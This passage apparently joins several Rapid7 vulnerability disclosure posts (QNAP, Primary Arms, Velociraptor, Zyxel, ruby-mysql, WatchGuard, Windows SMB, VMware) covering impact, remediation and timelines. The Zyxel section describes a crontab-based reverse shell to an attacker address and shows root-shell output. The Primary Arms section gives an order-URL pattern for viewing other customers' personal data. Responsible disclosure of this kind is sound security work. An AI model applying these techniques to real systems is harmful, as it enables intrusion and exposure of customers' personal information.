So, while there is some complexity to exploiting this issue, those complications are easily defeated by a moderately skilled attacker — which calls into question why QNAP didn’t issue an advisory and CVE for this issue. Presumably they knew about the vulnerability, because they made two changes to fix it. First, the insecure HTTP request for the XML was changed to a secure HTTPS request. That prevents all but the most advanced attackers from masquerading as update.qnap.com. Additionally, the image download logic was updated to use an execl wrapper called qnap_exec instead of system, which mitigates command injection issues.
Indicators of compromise
This attack does leave indicators of compromise (IOCs) on disk. A smart attacker will clean up these IOCs, but they may be worth checking for. The downloaded XML files are downloaded to /home/httpd/RSS/rssdoc/. The following is an example of the malicious XML from our proof-of-concept video:
Similarly, an attack can leave an sh process hanging in the background. Search for malicious ones using ps | grep wget. If you see anything like the following, it’s a clear IOC:
Perhaps what we’ve described here is in part CVE-2020-2509, and that explains the lack of advisory from QNAP. Or maybe it’s one of the many other command injections that QNAP has assigned a CVE but failed to describe, and therefore denied users the chance to make informed choices about their security. It’s impossible to know because QNAP publishes almost no details about any of their vulnerabilities — a practice that might thwart some attackers, but certainly harms defenders trying to identify and monitor these attacks in the wild, as well as defenders who have to help clean up the myriad ransomware cases that are affecting QNAP devices.
SAM did not owe us a good disclosure (which is fortunate, because they didn’t give us one), but QNAP did. SAM was successful in ensuring the issue got fixed, and they held the vendor to a coordinated disclosure deadline (which QNAP consequently failed to meet). We should all be grateful to SAM: Even if their disclosure wasn’t necessarily what we wanted, we all benefited from their work. It’s QNAP that owes us, the customers and security industry, good disclosures. Vendors who are responsible for the security of their products are also responsible for informing the community of the seriousness of vulnerabilities that affect those products. When they fail to do this — for example by failing to provide advisories with basic descriptions, affected components, and industry-standard metrics like CVSS — they deny their current and future users full autonomy over the choices they make about risk to their networks. This makes us all less secure.
Disclosure timeline
July, 2022: Researched and discovered by Jake Baines of Rapid7
Thu, Jul 28, 2022: Disclosed to QNAP, seeking a CVE ID
Sun, Jul 31, 2022: Automated response from vendor indicating they have moved to a new support ticket system and ticket should be filed with that system. Link to new ticketing system merely sends Rapid7 to QNAP’s home page.
Tue, Aug 2, 2022: Rapid7 informs QNAP via email that their support link is broken and Rapid7 will publish this blog on August 4, 2022.
Tue, Aug 2, 2022: QNAP responds directing Rapid7 to the advisory for CVE-2020-2509.
Thu, Aug 4, 2022: This public disclosure
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The Primary Arms website, a popular e-commerce site dealing in firearms and firearms-related merchandise, suffers from an insecure direct object reference (IDOR) vulnerability, which is an instance of CWE-639: Authorization Bypass Through User-Controlled Key.
Rapid7 is disclosing this vulnerability with the intent of providing information that has the potential to help protect the people who may be affected by it – in this case, Primary Arms users. Rapid7 regularly conducts vulnerability research and disclosure on a wide variety of technologies with the goal of improving cybersecurity. We typically disclose vulnerabilities to the vendor first, and in many cases, vulnerability disclosure coordinators like CERT/CC. In situations where our previous disclosure through the aforementioned channels does not result in progress towards a solution or fix, we disclose unpatched vulnerabilities publicly. In this case, Rapid7 reached out to Primary Arms and federal and state agencies multiple times over a period of months (see “Disclosure Timeline,” below), but the vulnerability has yet to be addressed.
Vulnerabilities in specific websites are usually unremarkable, don’t usually warrant a CVE identifier, and are found and fixed every day. However, Rapid7 has historically publicized issues that presented an outsized risk to specific populations, were popularly mischaracterized, or remained poorly addressed by those most responsible. Some examples that leap to mind are the issues experienced by Ashley Madison and Grindr users, as well as a somewhat similar Yopify plugin issue for Shopify-powered e-commerce sites.
If exploited, this vulnerability has the potential to allow an authorized user to view the personally identifiable information (PII) of Primary Arms customers, including their home address, phone number, and tracking information of purchases. Note that “authorized users” includes all Primary Arms customers, and user account creation is free and unrestricted.
Because this is a vulnerability on a single website, no CVE identifier has been assigned for this issue. We estimate the CVSSv3.1 calculation to be 4.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N) or 5.3 (PR:N) if one considers this vulnerability is exploitable by any person able to complete a web form.
Product description
Primary Arms is an online firearms and firearms accessories retailer based in Houston, Texas. According to their website, they cater to “firearms enthusiasts, professional shooters, and servicemen and women” and ship firearms to holders of a Federal Firearms License (FFL). The website is built withNetSuite SuiteCommerce.
Discoverer
This issue was discovered by a Rapid7 security researcher and penetration tester through the normal course of personal business as a customer of Primary Arms. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.
Exploitation
An authenticated user can inspect the purchase information of other Primary Arms customers by manually navigating to a known or guessed record sales order URL, as demonstrated in the series of screenshots below.
First, in order to demonstrate the vulnerability, I created an account with the username [email protected], which I call “FakeTod FakeBeardsley.”
Note that FakeTod has no purchase history:
Next, I’ll simply navigate to the URL of a real purchase, made under my “real” account. An actual attacker would need to learn or guess this URL, which may be easy or difficult (see Impact, below). The screenshot below is a (redacted) view of that sales order receipt.
The redacted URL is hxxps://www.primaryarms.com/sca-dev-2019-2/my_account.ssp#purchases/view/salesorder/85460532, and the final 8-digit salesorder value is the insecure direct object reference. In this case, we can see:
Customer name
Purchased item
Last four digits and issuer of the credit card used
Billing address and phone number
Manipulating this value produces other sets of PII from other customers, though the distribution is non-uniform and currently unknown (see below, under Impact, for more information).
If a given salesorder reference includes a shipped item, that tracking information is also displayed, as shown in this redacted example:
Depending on the carrier and the age of the ordered item, this tracking information could then be used to monitor and possibly intercept delivery of the shipped items.
Root cause
The landing page for primaryarms.com and other pages have this auto-generated comment in the HTML source:
This indicates a somewhat old version of SuiteCommerce, from 2019, being run in production. It’s hard to say for sure that this is the culprit of the issue, or even if this comment is accurate, but our colleagues at CERT/CC noticed that NetSuite released an update in 2020 that addressed CVE-2020-14728, which may be related to this IDOR.
Outside of this hint, the root cause of this issue is unknown at the time of this writing. It may be as straightforward as updating the local NetSuite instance, or there may be more local configuration needed to ensure that sales order receipts require proper authentication in order to read them.
Post-authentication considerations
Note that becoming an authenticated user is trivial for the Primary Arms website. New users are invited to create an account, and while a validly formatted email address is required, it is not authenticated. In the example gathered here, the simulated attacker, FakeTod, has the nonexistent email address of [email protected]. Therefore, there is no practical difference between an unauthenticated user and an authenticated user for the purpose of exploitation.
Impact
By exploiting this vulnerability, an attacker can learn the PII of likely firearms enthusiasts. However, exploiting this vulnerability at a reasonable scale may prove somewhat challenging.
Possible valid IDOR values
It is currently unknown how the salesorder values are generated, as Rapid7 has conducted very limited testing in order to merely validate the existence of the IDOR issue. We’re left with two possibilities.
It is the likely case that the salesorder values are sequential, start at a fixed point in the 8-digit space, and increment with every new transaction in a predictable way. If this is the case, exhausting the possible space of valid IDOR values is fairly trivial — only a few seconds to automate the discovery of newly created sales order records, and a few minutes to gather all past records. While limited testing indicates salesorder values are sequential, there are gaps in the sequence, likely due to abandoned and partial orders. We have not fully explored the attack surface of this issue out of an abundance of caution and restraint.
In the worst case (for the attacker), the numbers may be purely random out of a space of 100 million possibles. This seems unlikely according to Rapid7’s limited testing. If this is the case, however, exhausting the entire space for all records would take about two years, assuming an average of 100 queries per second (this probing would be noticeable by the website operators assuming normal website instrumentation).
The truth of the salesorder value generation is probably somewhere closer to the former than the latter, given past experience with similar bugs of this nature, which leads us to this disclosure in the interest of public safety, documented in the next section.
Possible attacks
We can imagine a few scenarios where attackers might find this collection of PII useful. The most obvious attack would be a follow-on phishing attack, identity theft, or other confidence scam, since PII is often useful in executing successful social engineering attacks. An attacker could pose as Primary Arms, another related organization, or the customer and be very convincing in such identity (to a third-party) when armed with the name, address, phone number, last four digits of a credit card, and recent purchase history.
Additionally, typical Primary Arms customers are self-identified firearms owners and enthusiasts. A recent data breach in June of 2022 involving California Conceal Carry License holders caused a stir among firearms enthusiasts, who worry that breach would lead to “increase the risk criminals will target their homes for burglaries.”
Indeed, if it is possible to see recent transactions (again, depending on how salesorder values are generated), especially those involving FFL holders, it may be possible for criminals to intercept firearms and firearms accessories in transit by targeting specific delivery addresses.
As mentioned above, it would appear that only Primary Arms is in a position to address this issue. We suspect this issue may be resolved by using a more current release of NetSuite SuiteCommerce. A similar e-commerce site, using similar technology but with a more updated version of SuiteCommerce, appears to not be subject to this specific attack technique, so it’s unlikely this is a novel vulnerability in the underlying web technology stack.
Customers affected by this issue are encouraged to try to contact Primary Arms, either by email to [email protected], or by calling customer service at +1 713.344.9600.
Disclosure timeline
At the time of this writing, Primary Arms has not been responsive to disclosure efforts by Rapid7, CERT/CC, or TX-ISAO.
May 2022 – Issue discovered by a Rapid7 security researcher
Mon, May 16, 2022 – Initial contact to Primary Arms at [email protected]
Wed, May 25, 2022 – Attempt to contact Primary Arms CTO via guessed email address
Wed, May 25, 2022 – Internal write-up of IDOR issue completed and validated
Thu, May 26, 2022 – Attempt to contact Primary Arms CEO via guessed email address
Tue, May 31, 2022 – Called customer support, asked for clarification on contact, reported issue
Thu, Jun 1, 2022 – Notified CERT/CC via [email protected] asking for advice
Fri, Jun 10, 2022 – Opened a case with CERT/CC, VRF#22-06-QFRZJ
Thu, Jun 16, 2022 – CERT/CC begins investigation and disclosure attempts, VU#615142
June-July 2022 – Collaboration with CERT/CC to validate and scope the issue
Mon, Jul 11, 2022 – Completed disclosure documentation presuming no contact from Primary Arms
Tue, Jul 12, 2022 – Sent a paper copy of this disclosure to Primary Arms via certified US mail, tracking number: 420770479514806664112193691642
Thu, Jul 14, 2022 – Disclosed details to the Texas Information Sharing and Analysis Organization (TX-ISAO), Report #ISAO-CT-0052
Mon, Jul 18, 2022 – Paper copy received by Primary Arms
Tue, Aug 2, 2022 – This public disclosure
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This advisory covers a number of issues identified in Velociraptor and disclosed by a security code review performed by Tim Goddard from CyberCX. We also thank Rhys Jenkins for working with the Velociraptor team to identify and rectify these issues. All of these identified issues have been fixed as of Version 0.6.5-2, released July 26, 2022.
CVE-2022-35629: Velociraptor client ID spoofing
Velociraptor uses client IDs to identify each client uniquely. The client IDs are derived from the client’s own cryptographic key and so usually require this key to be compromised in order to spoof another client.
Due to a bug in the handling of the communication between the client and server, it was possible for one client, already registered with their own client ID, to send messages to the server claiming to come from another client ID. This may allow a malicious client to attribute messages to another victim client ID (for example, claiming the other client contained some indicator or other data).
The impact of this issue is low because a successful exploitation would require:
The malicious client to identify a specific host’s client ID – since client IDs are random, it is unlikely that an attacker could guess a valid client ID. Client IDs are also not present in network communications, so without access to the Velociraptor server, or indeed the host’s Velociraptor client writeback file, it is difficult to discover the client ID.
Each collection of new artifacts from the client contains a unique random “flow ID.” In order to insert new data into a valid collection, the malicious client will need to guess the flow ID for a valid current flow. Therefore, this issue is most likely to affect client event monitoring feeds, which do not contain random flow IDs.
CVE-2022-35630: Unsafe HTML injection in artifact collection report
Velociraptor allows the user to export a “collection report” in HTML. This is a standalone HTML file containing a summary of the collection. The server will generate the HTML file, and the user’s browser will download it. Users then open the HTML file from their local disk.
A cross-site scripting (XSS) issue in generating this report made it possible for malicious clients to inject JavaScript code into the static HTML file.
The impact of this issue is considered low because the file is served locally (i.e. from a file:// URL) and so does not have access to server cookies or other information (although it may facilitate phishing attacks). This feature is also not used very often.
CVE-2022-35631: Filesystem race on temporary files
The Velociraptor client uses a local buffer file to store data it is unable to deliver to the server quickly enough. Although the file is created with restricted permissions, the filename is predictable (and stored in the client’s configuration file).
On MacOS and Linux, it may be possible to perform a symlink attack by replacing this predictable file name with a symlink to another file and have the Velociraptor client overwrite the other file.
This issue can be mitigated by using an in-memory buffer mechanism instead, or specifying that the buffer file should be created in a directory only writable by root. Set the Client.local_buffer.filename_linux to an empty string, or a directory only writable by root.
By default, on Windows, the buffer file is stored in C:\Program Files\Velociraptor\Tools,which is created with restricted permissions only writable by Administrators. Therefore, Windows clients in the default configuration are not affected by this issue.
CVE-2022-35632: XSS in user interface
The Velociraptor GUI contains an editor suggestion feature that can be used to offer help on various functions. It can also display the description field of a VQL function, plugin or artifact. This field was not properly sanitized and can lead to cross-site scripting (XSS).
Prior to the 0.6.5 release, the artifact description was also sent to this function, but after 0.6.5, this is no longer the case for performance reasons.
On servers older than 0.6.5, an authenticated attacker with the ARTIFACT_WRITER permission (usually only given to administrators) could create an artifact with raw HTML in the description field and trigger this XSS. Servers with version 0.6.5 or newer are not affected by this issue.
Remediation
To remediate these vulnerabilities, Velociraptor users should upgrade their servers.
Disclosure timeline
July, 2022: Issues discovered by Tim Goddard from CyberCX
July 11, 2022: Vulnerabilities disclosed by CyberCX
Rapid7 discovered a local privilege escalation vulnerability affecting Zyxel firewalls. The vulnerability allows a low privileged user, such as nobody, to escalate to root on affected firewalls. To exploit this vulnerability, a remote attacker must first establish shell access on the firewall, for example by exploiting CVE-2022-30525.
The following table contains the known affected models.
Affected Model
USG FLEX 100, 100W, 200, 500, 700
USG20-VPN, USG20W-VPN
ATP 100, 200, 500, 700, 800
VPN 50, 100, 300, 1000
Patching CVE-2022-30525 and removing the firewall administration interface from the internet should significantly reduce the risk of this vulnerability being exploited.
Product Description
The affected firewalls are advertised for both small branch and corporate headquarter deployments. They offer VPN solutions, SSL inspection, web filtering, intrusion protection, email security, and advertise up to 5 Gbps throughput through the firewall.
CVE-2022-30526: Local Privilege Escalation
In our previous disclosure of CVE-2022-30525, we demonstrated an attack that allowed a remote and unauthenticated attacker to execute commands as nobody. CVE-2022-30526 allows nobody to become root. This is achieved using a suid binary named zysudo.suid.
bash-5.1$ zysudo.suid
zysudo.suid
Usage: zysudo.suid <command> <arg1> <arg2> ...
The maximum number of argument is 16
zysudo.suid allows a low privileged user to execute an allow-list of commands with root privileges. The allow list is fairly long:
The commands are executed using execv so command injection is a concern. The problem is that a few of these commands allow low-privileged attackers to overwrite files with arbitrary content. There are some other bad things in here (e.g. rm) but we’ll focus on file writing.
Much of the firewall’s filesystem is read-only squashfs. Simply modifying a binary that will be executed as root in /bin/, /sbin/ and the like isn’t an option. However, there is at least one file that an attacker can modify in order to reliably escalate to root: /var/zyxel/crontab.
/var/zyxel/crontab is the crontab file used by cron. An attacker can simply append a new job to the end of the crontab to get root privileges:
Above the attacker copies the active crontab to /tmp/. Then they use echo to create a new script called /tmp/exec_me. The new script, when executed, will start a reverse shell to 10.0.0.28:1270. Execution of the new script is appended to /tmp/crontab. Then /var/zyxel/crontab is overwritten with the malicious /tmp/crontab using zysudo.suid. cron will execute the appended command as root within the next 60 seconds:
albinolobster@ubuntu:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 10.0.0.14 36836
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1# id
id
uid=0(root) gid=0(root) groups=0(root)
bash-5.1# uname -a
uname -a
Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Mar 15 05:14:51 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux
bash-5.1#
CVE-2022-30525 Patch Adoption
CVE-2022-30526 is only useful when used with another vulnerability, such as CVE-2022-30525. Rapid7 has been monitoring patch adoption on Shodan since CISA added the vulnerability to their Known Exploited Vulnerabilities Catalog. We are happy to note that patch adoption has continued to rise over time.
Zyxel released a fix for this issue on July 19, 2022. Please see Zyxel’s advisory for detailed patching information.
Disclosure Timeline
April 2022 – Discovered by Jake Baines
April 13, 2022 – Rapid7 discloses to [email protected]. Proposed disclosure date June 14, 2022.
April 14, 2022 – Zyxel acknowledges receipt.
April 20, 2022 – Rapid7 asks for an update and shares delight over “Here is how to pronounce ZyXEL’s name”.
April 21, 2022 – Zyxel acknowledges reproduction of the vulnerabilities.
April 29, 2022 – Zyxel disputes that the LPE is a vulnerability, instead calls it “a design flaw.”
April 29, 2022 – Rapid7 asks about CVE assignment, guidance on coordinated disclosure, and for the vendor to reconsider their stance on the LPE.
May 9, 2022 – Zyxel indicates fixing the LPE will take time. Asks Rapid7 to hold full disclosure until November.
May 9, 2022 – Rapid7 informs Zyxel of the intent to disclose this issue on June 14, 2022.
May 10, 2022 – Zyxel acknowledges and plans to coordinate. Assigns CVE-2022-30526.
May 11, 2022 – Rapid7 reaffirms plan to wait until June 14.
May 12, 2022 – Zyxel catches accidental mentions of LPE in planned disclosure for CVE-2022-30525.
May 12, 2022 – Rapid7 removes the reference.
May 23, 2022 – Zyxel says they are pushing disclosure for CVE-2022-30526 out to July 19.
May 23, 2022 – Rapid7 agrees to July 19 disclosure date.
July 19, 2022 – Zyxel publishes their advisory.
July 19, 2022 – Rapid7 publishes this advisory.
The ruby-mysql Ruby gem prior to version 2.10.0 maintained by Tomita Masahiro is vulnerable to an instance of CWE-610: Externally Controlled Reference to a Resource in Another Sphere, wherein a malicious MySQL server can request local file content from a client without explicit authorization from the user. The initial CVSSv3 estimate for this issue is 6.5. Note that this issue does not affect the much more popular mysql2 gem. This issue was fixed in ruby-mysql 2.10.0 on October 23, 2021, and users of ruby-mysql are urged to update.
Product description
The ruby-mysql Ruby gem is an implementation of a MySQL client. While it is far less popular than the mysql2 gem, it serves a particular niche audience of users that desire a pure Ruby implementation of MySQL client functionality without linking to an external library (as mysql2 does).
Credit
This issue was reported to Rapid7 by Hans-Martin Münch of MOGWAI LABS GmbH, initially as a Metasploit issue, and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy after coordination with the upstream maintainer of this library, as well as JPCERT/CC and CERT/CC.
Exploitation
A malicious actor can read arbitrary files from a client that uses ruby-mysql to communicate to a rogue MySQL server and issue database queries. In these cases, the server has the option to create a database reply using the LOAD DATA LOCAL statement, which instructs the client to provide additional data from a local file readable by the client (and not a “local” file on the server). The easiest way to demonstrate this issue is to run an instance of Rogue-MySql-Server by Gifts and perform any database query using the vulnerable version of the mysql gem.
Note that this behavior is a defined and expected option for servers and is described in the documentation, quoted below:
Because LOAD DATA LOCAL is an SQL statement, parsing occurs on the server side, and transfer of the file from the client host to the server host is initiated by the MySQL server, which tells the client the file named in the statement. In theory, a patched server could tell the client program to transfer a file of the server’s choosing rather than the file named in the statement. Such a server could access any file on the client host to which the client user has read access. (A patched server could in fact reply with a file-transfer request to any statement, not just LOAD DATA LOCAL, so a more fundamental issue is that clients should not connect to untrusted servers.) [emphasis added]
So, the vulnerability is not so much a MySQL server or protocol issue, but a vulnerability in a client that does not at least provide an option to disable LOAD DATA LOCAL queries; this is the situation with version 2.9.14 and earlier versions of ruby-mysql.
There is also prior work on this type of issue, and interested readers should refer to Knownsec 404 Team‘s article describing the issue for a thorough understanding of the dangers of LOAD DATA LOCAL and untrusted MySQL servers.
Impact
As stated, this issue only affects Ruby-based MySQL clients that connect to malicious MySQL servers. The vast majority of clients already know who they’re connecting to, and while an attacker could poison DNS records or otherwise intercede in network traffic to capture unwitting clients, such network shenanigans will be foiled by routine security controls like SSL certificates. The true risk is posed only to those people who connect to random and unknown MySQL servers in unfamiliar environments.
In other words, penetration testers and other opportunistic MySQL attackers are most at risk from this kind of vulnerability. CVE-2021-3779 fits squarely in the category of “hacking the hackers,” where an aggressive honeypot is designed to lie in wait for wandering MySQL scanners and attackers and steal data local to those connecting clients.
This is the reason why Hans-Martin Münch of MOGWAI LABS GmbH first brought this to Rapid7’s attention as an issue in Metasploit. While Metasploit users are indeed the most at risk to falling victim to an exploit for this vulnerability, the underlying issue was quickly identified as one in the shared open-source library code that Metasploit depends on for managing MySQL connections to remote servers. (One such example is the MySQL hashdump auxiliary module.)
Remediation
Users who implement ruby-mysql should update their packaged gem with the latest version of ruby-mysql, as it has been fixed in version 2.10.0. The current version (as of this writing) is 3.0.0 and was released in November of 2021.
Users unable to update can patch around the issue by ensuring that CLIENT_LOCAL_FILES is disallowed by the client, similarly to how Metasploit Framework initially remediated this issue while waiting on a fix from the upstream maintainer.
Disclosure timeline
The astute reader will note a significant gap of several months between the fix release and this disclosure. This was a failure on my, Tod Beardsley’s, part, since I was handling this issue.
For the record, there was no intention to bury this vulnerability — after all, we communicated it to the Tomita (the maintainer), RubyGems (who pointed us in the direction of Rubysec, thanks André), CERT/CC, and JPCERT/CC, so hopefully the intention to disclose in a timely manner was and is obvious.
But a confluence of family tragedies and home-office technical disasters conspired with the usual complications of a multi-stakeholder, multi-continent effort to coordinate disclosure in open-source library code.
I am also acutely aware of the irony of this delay in light of my recent post on silent patches, and I offer apologies for that delay. I am committed to being better with backups, both of the data and human varieties.
Note that all dates are local to the United States (some dates may differ in Japan and Germany depending on the time of day).
August, 2021: Issue discovered by Hans-Martin Münch of MOGWAI LABS GmbH.
Thu, Sep 2, 2021: Issue reported to Rapid7’s security contact as a Metasploit issue, #9286.
Tue, Sep 7, 2021: Rapid7 validated the issue, reserved CVE-2021-3779, and contacted the vulnerable gem maintainer, Tomita Masahiro.
Tue, Sep 8, 2021: Notified CERT/CC and RubyGems for disclosure coordination, as the gem appeared to be abandoned by the maintainer given no updates in several years.
Tue, Sep 9, 2021: Notified JPCERT/CC through VINCE on CERT/CC’s advice, as VU#541053.
Thu, Sep 10, 2021: JPCERT/CC acknowledged the issue and attempted to contact the gem maintainer.
Mon, Oct 18, 2021: Maintainer responded to JPCERT/CC, acknowledging the issue.
Fri, Oct 22, 2021: Fixed version 2.10.0 released, Rapid7 notified Hans-Martin of the fix.
Wed, Feb 16, 2022: CERT/CC asks for an update on the issue, Rapid7 communicates the fix to CERT/CC and JPCERT/CC.
Tue, Jun 6, 2022: CERT/CC asks for an update, Rapid7 commits to sharing disclosure documentation.
Tue, Jun 14, 2022: Rapid7 shares disclosure details with CERT/CC and Hans-Martin, and asks JPCERT/CC to communicate this document to Tomita.
Tue, June 28, 2022: This public disclosure
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A remote and low-privileged WatchGuard Firebox or XTM user can read arbitrary system files when using the SSH interface due to an argument injection vulnerability affecting the diagnose command. Additionally, a remote and highly privileged user can write arbitrary system files when using the SSH interface due to an argument injection affecting the import pac command. Rapid7 reported these issues to WatchGuard, and the vulnerabilities were assigned CVE-2022-31749. On June 23, Watchguard published an advisory and released patches in Fireware OS 12.8.1, 12.5.10, and 12.1.4.
Background
WatchGuard Firebox and XTM appliances are firewall and VPN solutions ranging in form factor from tabletop, rack mounted, virtualized, and “rugged” ICS designs. The appliances share a common underlying operating system named Fireware OS.
At the time of writing, there are more than 25,000 WatchGuard appliances with their HTTP interface discoverable on Shodan. There are more than 9,000 WatchGuard appliances exposing their SSH interface.
In February 2022, GreyNoise and CISA published details of WatchGuard appliances vulnerable to CVE-2022-26318 being exploited in the wild. Rapid7 discovered CVE-2022-31749 while analyzing the WatchGuard XTM appliance for the writeup of CVE-2022-26318 on AttackerKB.
CVE-2022-31749 is an argument injection into the ftpput and ftpget commands. The arguments are injected when the SSH CLI prompts the attacker for a username and password when using the diagnose or import pac commands. For example:
WG>diagnose to ftp://test/test
Name: username
Password:
The “Name” and “Password” values are not sanitized before they are combined into the “ftpput” and “ftpget” commands and executed via librmisvc.so. Execution occurs using execle, so command injection isn’t possible, but argument injection is. Using this injection, an attacker can upload and download arbitrary files.
File writing turns out to be less useful than an attacker would hope. The problem, from an attacker point of view, is that WatchGuard has locked down much of the file system, and the user can only modify a few directories: /tmp/, /pending/, and /var/run. At the time of writing, we don’t see a way to escalate the file write into code execution, though we wouldn’t rule it out as a possibility.
The low-privileged user file read is interesting because WatchGuard has a built-in low-privileged user named status. This user is intended to “read-only” access to the system. In fact, historically speaking, the default password for this user was “readonly”. Using CVE-2022-31749 this low-privileged user can exfiltrate the configd-hash.xml file, which contains user password hashes when Firebox-DB is in use. Example:
The hashes are just unsalted MD4 hashes. @funoveripwrote about cracking these weak hashes using Hashcat all the way back in 2013.
Exploitation
Rapid7 has published a proof of concept that exfiltrates the configd-hash.xml file via the diagnose command. The following video demonstrates its use against WatchGuard XTMv 12.1.3 Update 8.
Remediation
Apply the WatchGuard Fireware updates. If possible, remove internet access to the appliance’s SSH interface. Out of an abundance of caution, changing passwords after updating is a good idea.
Vendor statement
WatchGuard thanks Rapid7 for their quick vulnerability report and willingness to work through a responsible disclosure process to protect our customers. We always appreciate working with external researchers to identify and resolve vulnerabilities in our products and we take all reports seriously. We have issued a resolution for this vulnerability, as well as several internally discovered issues, and advise our customers to upgrade their Firebox and XTM products as quickly as possible. Additionally, we recommend all administrators follow our published best practices for secure remote management access to their Firebox and XTM devices.
Disclosure timeline
March, 2022: Discovered by Jake Baines of Rapid7 Mar 29, 2022: Reported to Watchguard via support phone, issue assigned case number 01676704. Mar 29, 2022: Watchguard acknowledged follow-up email. April 20, 2022: Rapid7 followed up, asking for progress. April 21, 2022: WatchGuard acknowledged again they were researching the issue. May 26, 2022: Rapid7 checked in on status of the issue. May 26, 2022: WatchGuard indicates patches should be released in June, and asks about CVE assignment. May 26, 2022: Rapid7 assigns CVE-2022-31749 June 23, 2022: This disclosure
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A remote and unauthenticated attacker can trigger a denial-of-service condition on Microsoft Windows Domain Controllers by leveraging a flaw that leads to a null pointer deference within the Windows kernel. We believe this vulnerability would be scored as CVSSv3 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H or 7.5. This vulnerability was silently patched by Microsoft in April of 2022 in the same batch of changes that addressed the unrelated CVE-2022-24500 vulnerability.
Credit
This issue was fixed by Microsoft without disclosure in April 2022, but because it was originally classed as a mere stability bug fix, it did not go through the usual security issue process. In May, Spencer McIntyre of Rapid7 discovered this issue while researching the fix for CVE-2022-24500 and determined the security implications of CVE-2022-32230. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.
Exploitation
CVE-2022-32230 is caused by a missing check in srv2!Smb2ValidateVolumeObjectsMatch to verify that a pointer is not null before reading a PDEVICE_OBJECT from it and passing it to IoGetBaseFileSystemDeviceObject. The following patch diff shows the function in question for Windows 10 21H2 (unpatched version 10.0.19041.1566 on the left).
This function is called from the dispatch routine for an SMB2 QUERY_INFO request of the FILE_INFO / FILE_NORMALIZED_NAME_INFORMATION class. Per the docs in MS-SMB2 section 3.3.5.20.1 Handling SMB2_0_INFO_FILE, FILE_NORMALIZED_NAME_INFORMATION is only available when the dialect is 3.1.1.
For FileNormalizedNameInformation information class requests, if not supported by the server implementation<392>, or if Connection.Dialect is "2.0.2", "2.1" or "3.0.2", the server MUST fail the request with STATUS_NOT_SUPPORTED.
To trigger this code path, a user would open any named pipe from the IPC$ share and make a QUERY_INFO request for the FILE_NORMALIZED_NAME_INFORMATION class. This typically requires user permissions or a non-default configuration enabling guest access. This is not the case, however, for the noteworthy exception of domain controllers where there are multiple named pipes that can be opened anonymously, such as netlogon. An alternative named pipe that can be used but does typically require permissions is the srvsvc pipe.
Under normal circumstances, the FILE_NORMALIZED_NAME_INFORMATION class would be used to query the normalized name information of a file that exists on disk. This differs from the exploitation scenario which queries a named pipe.
A system that has applied the patch for this vulnerability will respond to the request with the error STATUS_NOT_SUPPORTED.
Proof of concept
A proof-of-concept Metasploit module is available on GitHub. It requires Metasploit version 6.2 or later.
Impact
The most likely impact of an exploit leveraging this vulnerability is a denial-of-service condition. Given the current state of the art of exploitation, it is assumed that a null pointer dereference in the Windows kernel is not remotely exploitable for the purpose of arbitrary code execution without combining it with another, unrelated vulnerability.
In the default configuration, Windows will automatically restart after a BSOD.
Remediation
It is recommended that system administrators apply the official patches provided by Microsoft in their April 2022 update. If that is not possible, restricting access and disabling SMB version 3 can help remediate this flaw.
Disclosure timeline
April 12th, 2022 – Microsoft patches CVE-2022-32230 April 29th, 2022 – Rapid7 finds and confirms the vulnerability while investigating CVE-2022-24500 May 4th, 2022 – Rapid7 contacts MSRC to clarify confusion regarding CVE-2022-32230 May 18th, 2022 – Microsoft responds to Rapid7, confirming that the vulnerability now identified as CVE-2022-32230 is different from the disclosed vulnerability CVE-2022-24500 with which it was patched June 1, 2022 — Rapid7 reserves CVE-2022-32230 after discussing with Microsoft June 14th, 2022 – Rapid7 releases details in this disclosure, and Microsoft publishes its advisory
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A low-privileged local attacker can prevent the VMware Guest Authentication service (VGAuthService.exe) from running in a guest Windows environment and can crash this service, thus rendering the guest unstable. In some very contrived circumstances, the attacker can leak file content to which they do not have read access. We believe this would be scored as CVSSv3 AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H or 6.1 and is an instance of CWE-73: External Control of File Name or Path.
Product description
The VMware Guest Authentication Service (VGAuthService.exe) is part of the VMware Tools suite of software used to provide integration services with other VMware services. It is commonly installed on Windows guest operating systems, though it appears that its only function is to mystify users when it fails.
Once running, the VMware Guest Authentication Service (VGAuthService.exe) is a service running with NT AUTHORITY/SYSTEM permissions and attempts to read files from the non-existent directory C:\Program%20Files\VMware\VMware%20Tools\ during start-up.
A low-privileged user can create this directory structure and cause VGAuthService.exe to read attacker controlled files. The files that the attacker controls are “catalog”, “xmldsig-core-schema.xsd”, and “xenc-schema.xsd”. These files are used to define the XML structure used to communicate with VGAuthService.exe.
However, actually modifying the structure of these files seems to have limited effects on VGAuthService.exe. Below, we describe a denial of service (which could take a number of forms) and a file content leak via XML External Entity.
Impact
The most likely impact of an exploit leveraging this vulnerability is a denial-of-service condition, and there is a remote possibility of privileged file content exfiltration.
Denial of service
A low-privileged user can prevent the service from starting by providing a malformed catalog file. For example, creating the file C:\Program%20Files\VMware\VMware%20Tools\etc\catalog with the contents of:
Will simply prevent the service from ever running due to the malformed uri field. The VGAuthService log file in C:\ProgramData\VMware\VMware VGAuth\logfile.txt.0 will contain this line:
[2022-02-01T14:03:50.100Z] [ warning] [VGAuthService] XML Error: uri entry 'uri' broken ?: \\10.0.0.2\fdsa\xenc-schema.xsd
After the “malicious” file is created, the system must be rebooted (or the service restarted). Until this happens, some remote tooling for the VMware guest will not function properly.
File content exfiltration via XML external entity (XXE) attacks, and the limitations thereof
VGAuthService uses XML libraries (libxmlsec and libxml2) that have XML External Entity processing capabilities. Because the attacker controls various XML files parsed by the service, the attacker in theory can execute XXE injection and XXE out-of-band (OOB) attacks to leak files that a low-privileged user can’t read (e.g. C:\windows\win.ini).
